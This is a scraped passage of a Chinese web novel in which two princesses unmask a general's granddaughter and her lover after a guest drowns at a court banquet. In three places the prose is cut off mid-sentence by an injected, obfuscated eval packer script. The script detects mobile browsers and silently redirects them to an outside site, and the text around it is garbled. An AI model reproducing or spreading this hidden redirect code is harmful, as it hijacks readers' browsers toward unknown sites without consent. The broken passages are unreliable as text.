婢女谢过恭敬答:“鸡鸣巷费家。” 沈明枳将现在朝中三品及以上的官儿都过了一遍,找不出一个姓费的,便朝她点点头示意她可以走了。临川却在那婢女走后半猜半蒙地摩挲起下巴,“莫不是——通政司的那个四品左通政家的?” “嗯?” 临川往人去的方向望了一眼,“他家嫁入阳安侯府的那个长女在化隆很有赞誉——”临川看了一眼沈明枳的表情,就知道什么阳安侯什么赞誉的一概不知,不过也是,如果有大场面都是旁人来巴结她们,哪里用得着她们去留心别人。思及此,临川又不禁琢磨起,自己堂堂临川郡主,怎么就知道一个四品官儿家女儿口碑好不好? 临川狠狠一捶手心,她记起来了:“楼复从军走的就是阳安侯家的路子,我说呢!” 沈明枳眼神暗闪。 阳安侯崔家与靖安侯齐家一样,都是几十年军旅世家,几代人都埋在军里的,兵连祸结时长房一支都死绝了,现在当家的是二房的儿子。他们家和长荣所嫁的张家一样,几番诸王夺储持时都是中立态度,算是这闹哄哄的京中少有的安生人家。 “月珰。”沈明枳唤了一声。 临川诧异,“怎么了?你也要帮忙找?” “将那个荷包交给杏园管事,让他们帮忙找找有哪家小姐丢了东西。” 月珰应声退下,临川让她的婢女也跟去帮忙。 临川松了一口气,挽上沈明枳的手开始往林子外面走,“唉,对,咱们就不要掺和了,小姑娘家爱玩,躲来躲去的就让人担心,看来我得回去好好说说静潭。” “今天你怎么没带他们来?” 临川撇嘴:“他们生母病了,自然要在床前伺候尽孝。” 沈明枳点点头,觉出临川的口气是有点泛酸,抬手轻轻拍拍她的手背,“你是他们嫡母,你若有个三灾六病的他们也得床前伺候你。” 临川白她一眼:“你就想我点好吧,天天咒我!” 沈明枳轻笑破了音:“诬蔑我,我何曾天天咒你了。” 行至楼阁亭榭,正有一众女眷簇拥着长英投壶,再定睛一看,还有个俊俏的粉面郎君正细心教着她,竟是宣国和齐珏那个久不出门的儿子齐骞,几个风流恣意的儿郎也正坐在一边的石板凳上喝茶谈风雅,也有大胆的女子上前搭话,场面花团锦簇其乐融融。 长英又射偏了一个,正有些兴致缺缺,抬头看见沈明枳,立即盈盈笑道:“十姐姐!临川姐姐!你们来了!” 有捧场地笑道:“原来是兖国公主,奴记得兖国公主殿下当时投壶射箭打马球无一不通!” 话落,坐得稍远些的几个年轻人朝这里看来,长英顺势将箭横着递到一步步走近的沈明枳眼前:“姐姐投一个?” 沈明枳看看那支箭,再看看捏着那支箭的水葱似的手指,莹润的指甲似是涂了一层蜜,她笑着推了推:“还是算了,这么多年没有上手了。” 长英也不强求,只是摆了姿态又投了出去,唉叹起后便又挤到负手立在一旁静静看的沈明枳前,“唉,好难啊,姐姐有没有什么秘诀?” 沈明枳微笑:“哪有什么秘诀,熟能生巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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男人用胳膊肘捅了捅何施臣的肩膀,压低了嗓音赞道:“不愧是你看上的,那个姓郇的公主媳妇,这滋味,想想就刺激。” 何施臣的目光略过晋王,隐约看得见被晋王遮住的那个女子裹在冬衣里玲珑的曲线,露出领子的一截脖子和夏日里出淤泥的藕段一样白嫩,他不禁又咽了下口水,心中叹惋着过去一年里,自己想方设法往她面前凑,她愣是根本没看见自己这个人一样。正惋惜着,何施臣感觉到朝他们颔首的晋王眼神不对,收敛了肆无忌惮的目光警告道:“别说了,晋王看着呢。” 男人嗤笑:“他难道还会唇语?知道了我们在说什么那不成还能来找事?” 他猜对了,沈明戒随沈明枳南巡一路,跟着窦宇学过唇语还有一些西北戎狄的语言。至于找事,沈明戒自然不会明着下了西南氏族的面子,好歹他也是深宫里长出来的,又在南海道见过不少阴损的法子,暗着收拾些人不成问题。 “怎么了?”沈明枳从飘然而过的两位佳丽身上收回神,感觉紧绷着的沈明戒心情不对,便偏过头往他看着的方向一望,随后自己的心情也不好了。 窦晴柔为了维持面表上的和平,请了西南氏族中与赵王派还算交好的几家,这也就解释了为什么她上午久违地又遇见了何施雅,这个去年一年里仍然锲而不舍与郇寰制造各种偶遇的姑娘。沈明枳反正是佩服热恋中的姑娘身上这样的毅力的,也很想不通这些小丫头脑袋里想的都是什么,学学长英去仰慕那些既未婚又优异的男儿不好么,非要来没事找事。 拢着长英的那处脂粉堆里爆出了欢呼,“贯耳”“贯耳”地叫着,沈明戒搀了她的手腕打算离开这个是非之地,“有人投出了贯耳阿姐不去看看?” 沈明枳也觉得此地坐得别扭,但从一个狼窝躲到另一个虎穴绝非她愿,“不了,一会儿我便回了,你与他们再好好玩一玩吧。” “那呆会儿我送阿姐吧——” “这是我的荷包!” 118. 第一百一十八章 落水案 那名被唤作“蔻蔻”的女子惊喜道,沈明枳随机循着声音找过去,就见管家模样上了年纪的老仆正恭敬地将呈在木漆红盘上的荷包递过去。 “咦?这是谁的帕子?”那水蓝色裙子的女子翻起荷包下垫着的料子不俗的帕子,听管家身边的仆妇解释:“应当是兖国公主的,这荷包就是公主殿下捡到遣人送来的。” 蔻蔻正小心检查着自己的荷包,闻言,手上动作一顿,柳眉一皱望向那名仆妇,仆妇以为这位官家小姐是担心自己的东西被他们这些下人打开碰过了,连忙赔笑解释:“姑娘放心,东西完完整整的没有人碰过的。” 沈明戒一听见“兖国公主”四个字就如同猎人见到鹿,但他从小就知道沈明枳不带帕子的,回头垂首将自己困惑的目光投向沈明枳,就见沈明枳拍拍他还搀在她小臂上的手背,几步绕开人群走了过去。管家和仆妇不认识沈明枳,但却认识忙赶过来侍候的月珰,连忙朝来人一礼。 那水蓝色裙子的女子认得沈明枳,轻轻扯了扯蔻蔻的袖子,先她一步上前蹲身行礼:“民女裴丰兰拜见公主殿下。” 沈明枳一边扶起她和随后默默补上礼节的蔻蔻,一边迅速正面打量起这两位风华正茂的女子来,不得不说,在灼艳如桃李的蔻蔻的衬托之下,裴丰兰身上的大家贵女的温雅之气简直淡若白水。 沈明枳温言微笑:“不必多礼。” 裴丰兰端庄地笑着又悄悄戳了戳蔻蔻,正不知困于什么思绪牢笼的女子这才回神:“民女杜蔻,谢过公主殿下。” 裴丰兰是礼部那位脱发脱得厉害的左侍郎裴丰息的妹妹,从她的名字和眉眼就能猜得出来,至于杜蔻,在这个世道下,能和三品侍郎家的女眷玩到一起的,家世大抵也不会差到哪里去,九寺六部里就有一个兵部尚书和一个太仆寺卿姓杜,至于是哪一个,其实并不重要。 沈明枳微微笑:“不必谢我,要谢还是谢临川郡主吧,帕子是她的,东西也是她找到的。” 杜蔻笑脸一白,僵硬地再度谢过后,就见不知何时冒出来的临川郡主笑吟吟地看了眼她手中的荷包,她的右手食指的艳红指甲劈了条缝,但丝毫不妨碍指甲与荷包相交辉映,临川又刻意瞟了眼她同样鼓鼓囊囊的胸前,轻笑出声,“你也不必谢我,就是你这荷包鼓鼓的,里头装了些什么宝贝?” 杜蔻的脸又白了几分,余光瞥见紫衣玉带的一个高挺少年也正抱臂站在兖国公主身后看着自己,粉白的一张脸霎时红透了,磕磕绊绊地低声回禀:“不过是……是弄脏了的帕子。” 临川笑着摆摆手,瞥了眼自己那块摊在盘子上的帕子,“脏了的帕子就扔了,小心收着干嘛,弄脏了荷包就不好了。” 纵是沈明戒才听了不过两句,这下也瞬时听出了话头不对,方才他还想着沈明枳也有一个和杜蔻类似的粉色荷包,这时的注意力全都集中到面色越发难堪的杜蔻脸上,那一张红得能够滴血的瓜子脸,一双含情眉目忍不住这阴阳怪气的羞辱,莹莹似是充满了泪花。 沈明枳不知道临川与她有什么过节,心里觉得有些过了,便拽了还欲开口的临川,朝立在人群之外的月珰使了一个眼色,月珰会意走上前来:“殿下,时候不早了。” 临川瞪眼:“这就要走了?” 沈明枳晾着她不理会,妥当打发完杜蔻、裴丰兰还有管家,才冷了脸小声训她:“你方才这是做什么?” 临川撅嘴刚要开口,就被沈明枳又用别的话头堵了回去:“他今日休沐我要早些回去。” 临川自然知道这个“他”指的是谁,瞥了一眼跟在沈明枳身后的沈明戒,正打算捉弄捉弄她,被沈明枳一记眼风一扫,什么恶气怒气全都憋了回去,柔顺地露出了猫儿似的模样,但话说得却很不温顺:“他得了空不陪你出来,反倒躲在家里睡懒觉……” 说完,临川立时想起早上见过的何施雅来,还没等她反思自己嘴快不过脑的罪过,沈明枳就已经冷笑道:“他不出来给我添麻烦就万事大吉了。” 沈明戒完全听得懂她们的哑谜,眼神一闪,没等心里的不悦泛滥,就听背后由远及近有人与管家攀谈:“求您快些派点人手吧,我家太太都要急死了。” “好好好,姑娘您先别急,慢慢说,我这就叫人来。” 周围的喧哗声也随着他们的对话展开渐渐平息下来,长英玩得高兴,暂且忘掉了病中的柳曦既,也禁不住这冷水泼得也找了过来讯问究竟。 那婢女已经泣不成声:“我家姑娘半个时辰前就不见了,翻遍了整个园子都找不到人,刚刚……刚刚在杏花园深处的那个小池子边捡到了我家姑娘一只鞋,就飘在水面上……” 这费家三姑娘还没找到! 有人小声嘀咕:“这直接报官吧。” 蓦然,一群人回首看向他,捂着嘴发牢骚的卿澄正一脸懵地瞪圆了眼睛,浑身上下仿佛都在问“我说错什么了吗”。他边上的辛喾被这场面一惊,拖着卿澄去死的心都有了,连忙扯了扯还搞不清状况的卿澄,打算将这小子一起扯到人群后去逃之夭夭。 “报官?报什么官?”未知状况的赵王妃窦晴柔携一众女眷从暖阁走来,嘹亮又有威慑的嗓音让在场胆小的人都震了一震。 是啊,报什么官啊! 卿澄回过神恨不得咬舌自尽。长英公主办个生辰宴结果以报官收场?你让赵王的面子往哪里搁! 窦晴柔听完了事情的始末,立即命人去婢女所说的池子去搜索,并下令将整座杏园都围成铁桶。 如果真有贵女在今天丢了性命。 众人几乎不敢往下面想,胆小的瑟缩一旁,胆大的跟着人就往那杏林深处走。临川也想去看看热闹,碍于沈明枳的一张脸着实冷沉,便打消了这个念头,只能满嘴说着“晦气”挽了沈明枳就要走回暖阁,谁料沈明枳看过人群中脸色变了几遍的杜蔻,轻斥了她一声便也随大流往杏林走。 林中已经是哭天抢地的一片狼藉。 费家夫人抱着三姑娘的尸体哀嚎不已,阳安侯世子妃指着费三姑娘手腕上的印子与手臂上的挠痕,直嚷着是有人蓄意谋害。 “去报官。”窦晴柔冷声吩咐。 那仆役迟疑,斗胆问:“报什么官?” 窦晴柔环顾四周,就见沈明枳姐弟俩正立在人群中,何家人也不知什么时候凑了过来,还有更难缠的御史,多少双眼睛盯着,事情绝对不能以失足落水草草结束了。 阳安侯世子妃伤心过头,听了这一问方才找回理智来。 京兆尹、刑部、大理寺都是可以侦察京城命案的司部。这样的案子,照常理说是直接报给京兆府的,如若赵王妃想将此事渲染成赵、吴两党相争、或者有意拉他们家下水站队,那就会报给刑部或者大理寺,至于渲染的过程、结果,就绝对不是他们这些普通人家可以想象、掺和、承担的。 窦晴柔被阳安侯世子妃盯着看,头疼地剜了那仆役一眼:“京兆府!” ** 郇寰正要探出车窗,往这曲江十里杏园张望一眼,就见衣着藏蓝底滚红边条的几队衙差正依序迅速涌入杏园大门,一匹枣红色的大马正由人牵着不安地踢着蹄子。 京兆府的? 郇寰挑眉,捻着袖口思忖片刻,还是让冬至前去探问。 杏园是皇家园林,但此刻看门的都已经换成了京兆府的府兵。看门的不认得冬至,也不认什么侯府不侯府的,只严格遵守上令不让任何闲杂人等进入,冬至好说歹说说不动,只能丧气地回复郇寰。 郇寰拧眉,心知这里面必然发生了大事。可他今日休沐,现在也未着官服,报他刑部尚书的名头是管用,但难免又有要和京兆尹抢案子的嫌疑,虽然他刑部已经够忙了。 他又忖度了片刻,终于,心里对沈明枳的担忧压过了对时局的把控,他撩袍起身下了马车,亲自上前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431372|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与人交涉。 衙役不敢怠慢,虽然心有不忿,但还是连忙去园中传报,只是让郇寰裹着氅衣在暮风中吃了好几口冷气。 于是乎,已经由临川和沈明戒陪着回到暖阁中休息等待结果的沈明枳,就见有人附耳与新任京兆尹鲍承愿说了几句,正擦着汗的鲍承愿脸色变了变,看了一眼面色吓人的赵王妃,连忙让人去传话。一会儿,正当暖阁中的众人焦急难耐,窦晴柔打算让人上茶点安抚人心时,郇寰迎着一众人的目光、携着半段残阳步入阁中。 鲍承愿是上一任京兆尹葛宏才荐上去的,手段作风一脉相承,连肚子都是一样的鼓,见了郇寰的态度拿捏也与葛宏才一般无二,“郇侯您来这算是……” 鲍承愿很期待地望着郇寰,只求快快地将这个烫手山芋抛给刑部,但见他一身常服,不是来公干的样子,正心中纳罕,更怎料郇寰与上首坐的、仍然致力于安慰费家夫人的赵王妃见过礼后,朝立在一边眼观鼻鼻观心的司法参军史辛理微一颔首,便对自己微笑道:“我是来接我家公主的,顺便进来看看。” 阁中有一瞬死寂,正低头喝茶的沈明枳差点被呛出声。 郇寰说完这句话,就很坦然地一拂身走到沈明枳身边,扫了一眼她一左一右坐着的晋王和临川郡主,正当他想着如何让临川郡主让个位时,晋王起了身。 “姐夫坐吧,我去看看卿澄。”沈明戒凉凉地让了位,扭头直奔缩在门外回廊里正悔不当初的卿澄与无聊透顶的辛喾。 郇寰笑纳后便正经坐下,凑到沈明枳耳畔,刚要轻声开口问,就被沈明枳打断:“我没事。” 郇寰一笑,定了心,直了身子便随她一同漫无目的地望向了门外渐渐落下的晚天。四下窃窃私语声起,但没人与郇寰说话,即便这位尚书大人摆明了自己只是路过不参与案子,也没谁有这个胆子公然与之攀谈。 最终还是鲍承愿忍不住了,见郇寰不闻不问,只是陪着兖国公主看天色,挑头与他说了说案情。郇寰大致听完了始末,门外出现了几个人影,鲍承愿立即迎上,在赵王妃的首肯下叙说了仵作验尸的结果。 结果也没什么新鲜,不过是验证了阳安侯世子妃吆喝的那一嗓子并非胡搅蛮缠,但有了一个巨大的突破,那便是仵作在费三姑娘颈后的两道深血痕的皮肉里,找到了一小截断了的指甲。 赵王妃立即让杏园中所有官家小姐都集中到正堂,一一验看她们的指甲。那片断了的指甲染着艳丽的大红色,这个特征很快就将一大群年轻的姑娘筛选得只留下了五个人。但仔细看过了,她们的指甲都完好无损,即便是有修过指甲的,也有人证明这绝对不是今天才修的指甲。 沈明枳扫了一圈,不见杜蔻,不禁偏过头问了问临川:“你看见那位杜姑娘了么?” 临川一回想,记得自己还刻意留心过她红色的指甲,便“咦”了一声,顿时吸引了一众人的注意。 窦晴柔蹙眉问道:“郡主妹妹可有什么事?” 临川道:“杜姑娘怎么不在?” 窦晴柔正色:“什么杜姑娘?” 临川道:“自然是兵部尚书家的杜蔻姑娘。” 满堂皆惊,沈明枳挑眉,对杜蔻的出身表示惊奇,连一直神色淡淡的郇寰都抖擞了精神。 窦晴柔给了一个眼色,立即有人去满园子地找姗姗来迟的杜蔻。杜蔻被侍女押到堂上来的时候,她十根手指的指甲正被割去了一半,窦晴柔一个威吓的眼神下来,杜蔻很快承认了自己与费三姑娘却是有过争执,但一口咬定绝对不是她推费三姑娘下水的。 鲍承愿问:“你们因何争执?” 杜蔻道:“不过是姑娘家的一点事罢了。” 鲍承愿不依不饶:“具体说说也无妨吧。” 杜蔻挺起胸睨了一眼费夫人与阳安侯世子妃,又扫了一眼左边下首兖国公主d等人,“姑娘家的私事,确定要在公堂上说吗?” 119. 第一百一十九章 彭雪萼 费夫人被她这个眼神激怒了,但世子妃安慰着母亲,冷冷道:“我家三妹妹最是温柔胆小,如何会与你有私事上的争执?” 杜蔻一笑,即便她形容有些狼狈,但不可否认这一笑仍有国色,但看清她眼里的狡黠后,千万分的国色也都践入了泥里,“世子妃怎么避重就轻忙着回避?是怕我说出什么吗?” 世子妃气得心头一哽,但她自料自家妹妹没有什么污点见不得人,“那你说!我看你怎么狡辩!” 杜蔻扭身朝鲍承愿盈盈一拜,胸有成竹地回:“费家妹妹心中有了不该有的人,我与她往日有几分交情,便好心劝她一句,谁知她情绪激动起来……” 郇寰听着隐约觉得她说得愈发荒唐起来,端过小几上的一盏新茶啜了一口,忽然想起这是沈明枳喝过的那杯,便抬眼偷瞟了一下,正正好好被沈明枳逮住。 鲍承愿问:“什么人?” “正是在座的,兖国公主的郇驸马。” 郇寰与沈明枳在一众倒吸冷气声中双双错愕地转过脸,随后“啪”地一声,郇寰重重放下了茶盏,正襟危坐看向眉目间有得意色的杜蔻。又见世子妃和费夫人都气得嘴唇发抖,世子妃只“你你你”个不停,一句辩驳斥责的话也说不完整,杜蔻高声道:“诸位若是不信,大可找来费三姑娘往日里相好的小姐妹来问一问!” 临川攥了手心,抬头见堵在门口的年轻世家姑娘们已经有人面色如土,心知这事情十有八九是真的,不由得又想起下午沈明枳那句“他不来给我添麻烦就算万事大吉”实在有理。这郇寰也没帅到人神共愤的地步,怎么什么女人都能招惹上。 沈明枳自杜蔻不盈一握的腰间扫过,眼神一暗,再度偏过头问临川:“她的荷包呢?” 临川眨眨眼,“怎么了?” 沈明枳知道这件事她和郇寰都已经不便插手了,简单地想了想,便低声和临川说了几句,临川的眼神倏尔亮了,又轻轻“咦”了一声,让满堂的人再度被她吸引了注意。 窦晴柔心力交瘁地问:“郡主又有何事?” “那杏花林不常有人去,杜姑娘去那里干什么呢?别和本宫说是一个人去散心!一个婢女也不带的吗?” 杜蔻一噎,着实没想到临川郡主揪住她先前话中“独自一人”这一点发作起来。因为当时问可有证人,她说了没有,她和费三姑娘都是独自一人。她思绪急转回道:“可民女就是去散心的!民女就爱一个转转怎么了?怎不问问费三妹妹为什么也一个人?” 临川冷笑:“费家妹妹为什么一个人本宫不管,你就说说你是何时入的杏花林,又是何时出来的?说清楚点,别含含糊糊的!” 杜蔻急道:“这这民女怎么知道,应该是……应该是午宴过后,什么时候出来的,这民女记不得具体时间了,只是民女出来后就去了迎春楼小憩,遇见了裴姑娘,然后就在园中遇见了兖国公主和郡主您。” 临川仍不饶她:“午宴过后?本宫也是午宴过后去的杏花林,至于本宫何时离席,王妃就能作证,本宫离席时怎没见过你?你的午宴又是什么时候结束的?何人可以作证?” 杜蔻挣扎:“千真万确就是午宴过后,兴许是民女与郡主错开了时候,早郡主一点时间离了席。” 临川冷哼:“早了多久?你又为何早离?” 杜蔻恭敬答:“民女不知,但民女是因为弄脏了裙摆才离席的。” “衣服脏了?”临川和沈明枳都扫了一眼她干净的裙摆。 “是,民女特意去换过一身衣裳的。” 沈明枳淡淡道:“赴宴格外多准备一套衣裳真是少见。” 四下氛围有些异样,临川不知想到了什么,一紧手指,逐渐兴奋起来。杜蔻咬牙不答,又听沈明枳问:“你换过衣裳后呢?” 杜蔻利索地答:“自然是看天色早,去杏花林散心了。” 话落,四下无声,杜蔻不解地望向正笑着看向自己的沈明枳,心中骤然紧张起来,但一时间不清楚自己话中是否有什么纰漏,硬是装出十二分的理直气壮来壮胆。临川忍不住掀了下自己青蓝色的下摆,“看清楚了?” 郇寰登时明白了,鲍承愿被郇寰的一个眼神吓得也看明白了,立时大声叫道:“杜姑娘,您还要撒谎吗!” 现在是二月天,今年杏园中的雪化得早,林子里的地都跟水里浸过的一样粘重,如果杜蔻真的是换过衣裳后再去的杏园,那她的裙摆必然会像临川的一样,有着一圈泥边,但她的裙摆干净如初。 赵王妃吩咐道:“去取杜姑娘换过的裙子来。” 直到此时,杜蔻的脸上才初露惊慌,她的身形晃了晃,眼里的得意之色尽数退尽,取而代之的是无边的不安。 但这样的不安,只让临川更加兴奋:“咦?杜姑娘,你的荷包呢?本宫在林子里亲自捡的,兖国就能作证,你说里面装的是脏了的帕子,那便一并取来吧。” 赵王妃点头:“一并取来。” 杜蔻彻底慌了,被上前来的婢女架住,整个人都抖了抖。 郇寰觉得又无趣起来,伸手又要端过那茶盏,即刻就有婢女上前添茶。也就是这片刻的功夫,杜蔻的衣裙被取来了,在赵王妃亲自前来查看裙摆,但越看她的脸越黑,周围人看得心痒,忍不住纷纷探头查看,临川已经有了底,脸上的笑更加灿烂了。 郇寰并不是有意要看的,只是他这个位子视角极好,赵王妃翻动时裙摆和裙子内衬一览无余,看得他神经一绷,有些不可置信地偏过头向也正稍稍探头的沈明枳要一个主意。若说发生了什么,郇寰不敢相信;若说没发生什么,郇寰更不敢相信。只是他面上波澜不惊,衬得脸色变了几变的鲍承愿都变得沉不住气。 沈明枳只看了一个大概,眉头一跳,心里对临川先前和自己讲的八卦信了十成十,在震撼的同时,又不由得慨叹现在的姑娘也太肆意大胆了。 临川装出吃惊模样:“啊,这是怎么回事,这这些难不成都是……” 在场还有不少未婚少女,长英本也伸长了脖子要看,谁知窦晴柔立即将裙子盖好,冷厉的目光直射向已经瘫软在地的杜蔻:“杜姑娘,这是怎么回事?” 临川刻意提醒:“荷包呢?那里面的帕子莫不是用来——” 窦晴柔将临川这个意味深长的笑逼了回去,“杜姑娘,你的荷包呢?” 杜蔻已经冷汗涔涔。 临川又道:“莫不是扔了?还是藏起来了?藏哪儿了呢?奸夫身上么?” “放肆!”窦晴柔怒吼道,心里迅速盘算起这件事的处理来,当初寇一爵要和杜家联姻被拒,两家闹得不怎么愉快,现在若是就此按下卖杜家一个面子也未尝不可,若真将和她媾和的那个男子也抓出来,这才真是“放肆”至极了! 但天不遂人愿,已经完全暗沉下来的门外突然出现了一个颀长的身影,走进灯光下一看,竟然是晋王沈明戒。他朝在座的所有人都行了礼,然后低吼一声“带上来”,随机就有两名晋王府的护卫押着一个俊逸男子走上堂来,他双手被反绑着,一只鼓囊囊的荷包就从他的怀中,随着他被推上来的这股劲儿掉到了地上。 等看清这个男人的相貌,众人齐齐一惊,赵王妃心里却蓦地一喜,什么卖不卖杜家面子地事情都抛诸脑后,现在唯一的念头就是——咬死吴王! 此人正是下午还与何施臣一起喝酒、言辞间对沈明枳多有调笑的西南世家公子,彭雪萼。 沈明戒朝赵王妃一礼:“荷包就是从他身上搜出来的。” 没人敢去管,晋王是如何从一个贵公子身上搜出东西的,只他一个厌恶的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杜蔻红了眼睛,如果不是有人拦着,估计已经要扑上与临川撕咬。沈明枳遮着袖子捏了下临川出汗的手,示意她差不多了,困兽犹斗,即便她背后有凌云重撑腰,也没必要真的与杜家恶交。 那妇人一噎,闭口不言,避开杜蔻求救的眼神,大抵是觉得自己尽了力,你就全看命吧。 临川也听话,乖觉地坐好缄口,等待鲍承愿发话:“彭公子,你承认了?” 彭雪萼一掀嘴唇,露出一个纨绔的笑,声音越来越大:“是,我承认了,那又能怎样?我犯了什么法嘛?要这样绑我!” 鲍承愿浑身一僵,试探着看向仍然负手立在原地的沈明戒,惴惴不安地看着晋王殿下一步上前,蹲下身亲自给他松绑,但松着松着,静悄悄的堂上突兀响起骨头错裂的“咯吱”一声,彭雪萼的额头爆起了青筋,一声惨叫刚出口一半,就听沈明戒低声对他笑道:“你早认了不就好了,也免去了皮肉之苦——筋骨之痛。” 旁人是听不见这掩在惨叫之中、沈明戒这瘆人的威胁,但沈明枳看着他眼底的快意与扭曲,眉头一跳,琢磨起自己怎么就没从他平日对自己的温顺听话中看出他已然长成的杀伐和记恨,忙一偏头在意起郇寰的神色,生怕他也从晋王的举动中看出对赵王的威胁。 但郇寰只是勾了唇角,扬起一个讥讽的笑,慢慢等起彭雪萼将自己撇干净。毕竟,对于彭雪萼来说,此事不过是年少风流里的一桩情事罢了,除了日后影响他娶妻,对他和他们家并没有什么损伤,他的名声早就碎成渣滓了,他将来也不缺三妻四妾。但如果,他和费三姑娘之死扯上了关系,那就是简单的风流债变成了人命官司,郇寰不认为彭雪萼会为了露水恩情偏帮袒护杜蔻而断送自己。 他不蠢。 果然,彭雪萼暂且放下与晋王的恩仇,缓过来后,由自家小厮扶着坐到了鲍承愿临时给他寻来的凳子上,不肖人问自己就说了起来:“我与杜蔻的确不是头一次——” 120. 第一百二十章 我如何 赵王妃当即命人按住张牙舞爪的杜蔻。 彭雪萼轻薄地惬笑出声:“我和她约好了,午时三刻,众人都在宴上时去杏林深处私会,完事了我自然就要走了,突然冒出来一个费三姑娘,我没管就走了,让她们女人自己解决,后来发生了什么,我当然全部不知情。” 杜蔻怒吼道:“彭雪萼你个——”然后被婢女粗鲁地捂住了嘴,彭雪萼又轻浮地扬了半边唇角,“哦,后来出事了,她很慌,找到我,让我出主意,但我又没杀人我能出什么主意,我只能帮她割下指甲、收了荷包,了却了我们之间一番皮肉恩情。” 赵王妃对这番说辞很不满意,打算松了杜蔻的嘴让他们互相攀咬,下令前下意识望了郇寰一眼,自郇寰冷冽的眼神中读出了“不可”后悻悻罢休,“既然如此,案子也算清晰了。” 赵王妃扶着哭得几欲昏厥的费夫人起身,“鲍大人,剩下的还是由京兆府带回衙门里审吧,天色不早,诸位贵客滞留已久……” 鲍承愿立即了然,赵王派不要这个案子了,让京兆尹看着办了,心中不知是喜是悲,连忙接话:“是是是,夜路难走,诸位还是不要久留了……”一番场面话说得滴水不漏,最后还不忘表示京兆尹办案搅扰了长英公主生辰宴,他和史辛理心中着实不安自责云云。 等沈明枳随郇寰出了杏园大门,就见已久有不少马车陈列门前,都在探头探脑着园中光景,又见有人抬着盖了白布的尸首出来,纷纷变色心悸。不一会儿,沈明枳搭着郇寰的手上了马车,与沈明戒和临川道别时,就听已久有人在议论此事。不用一盏茶的功夫,化隆上下就都会知道这桩惊天的丑闻和悲剧。 “杜老尚书就这一个孙女。” 沈明枳闻言,将视线从街景中收回洒到郇寰脸上。 郇寰将她叠在膝上的手拿过来搁到自己腿上,轻轻地摩挲着,两个人的神思被杜家往事无线地拉长。 杜蔻之兄杜茂,现在是宁远都督戍守东北,老尚书膝前就只有她一个孙女尽孝,平日里自然百般疼爱有求必应。据临川说,杜蔻平日里喜欢和年轻美貌的儿郎厮混,老尚书知道,虽然觉得未婚女子此举不妥,但也没说什么,毕竟他的孙女不愁嫁,就算不是完璧,也有人抢着要娶。 至于杜蔻是如何惹上临川的,大概就是一山不容二虎,抢男人抢出的过节。但其实她们两个平日也不会打交道,临川专门招惹那些没权没势空有皮囊没有出路的未婚男子,而杜蔻偏好一些风流世家子,诸如彭雪萼之流,有钱有势有皮囊有出路什么都有,就是空虚寂寞了点,大家就是一夜的恩情一夜的夫妻。她们的交集和过节,就在现在已荣升锦麟卫指挥使的凌云重身上。 简单地说,就是凌云重还是个佥事时被杜蔻瞧上了,杜蔻对他还很认真,找了杜老尚书准备向凌云重的顶头上司肖执真提亲,肖执真希望凌云重一辈子给他做牛做马,对于这桩几乎可以说得上是天赐良缘的婚很不满意,索性凌云重因为肖执真手中的把柄主动拒绝了,让杜蔻纠缠了很久之后伤心而归。 现在凌云重是临川的人了,临川早就对她一个未婚女子的做派压过她一个郡主表示出极大不满,更兼她们之间还有夺夫之仇,按照沈明枳对从前那个临川的了解,临川不落井下石搞死杜蔻就算是她菩萨心肠。由此可见,沈明枳这么多年潜移默化中对临川的规劝,还是有点用的。 至于彭雪萼给杜蔻出主意,那必然是有的,想来应该是彭雪萼教她将事情全都咬死在闺阁女子间的争执之上,即便后续再有什么证据指向杜蔻,也可以推说一个“过失杀人”,再让杜家上下打点抚恤、大事化小小事化了。所以杜蔻一开始就将郇寰这个常从是非过、片叶不沾身的人牵扯进来,但不幸的是,临川得了沈明枳指点,一步步将她逼出了破绽,最后才将她与彭雪萼的事情捅破,给案子一个新的起因。 而费三姑娘真的喜欢郇寰这件事…… 沈明枳瞟了一眼坐在身边的人。 借着黑暗,沈明枳细细打量起郇寰的脸。少年人的英姿勃发、朝气昂扬早就在日复一日的案牍操劳和波诡云谲的朝廷纷争中磨去,留下的骨相皮囊都远远不到能够让他从年轻一辈宛若被女娲精雕细琢过的少年郎中脱颖而出的地步,他已经属于过去,但他仍挑动着现在不知多少的女子心神。这让沈明枳很费解。 郇寰握了握她的手,“你在看什么呢?” 沈明枳轻笑一声,收回视线,“我在看,你长得究竟如何。” 郇寰顺着投射进来的灯光看向她脸颊的轮廓,又挪得近了点,“我长得如何?” 沈明枳平视前方,“还好。” 她极少盛赞别人,这是她能给出的、已经算是很不错的回答了。但这并不让郇寰满意,他俯身在沈明枳脸颊上琢了一下,再问:“我如何?” 沈明枳思考着这个“新问题”,仍然给出了“还好”的回复。郇寰更加不满意,笑着又在她脸颊上亲了一下,三问:“如何?” 这下沈明枳不假思索直接答:“很好。” 郇寰忍不住笑出了声,一手揽过沈明枳,一手将她的脸轻轻转向自己,随着马车的一个颠簸,垂首吻了过去。 这是沈明枳始料未及的,可她稍一回想,郇寰最后的“如何”二字不是再问自己‘他这个人怎么样’前的提示,而是问她方才亲的这一口怎么样。随着郇寰逐渐加深这一吻,沈明枳只能懊悔自己说话不过脑子惹了祸。 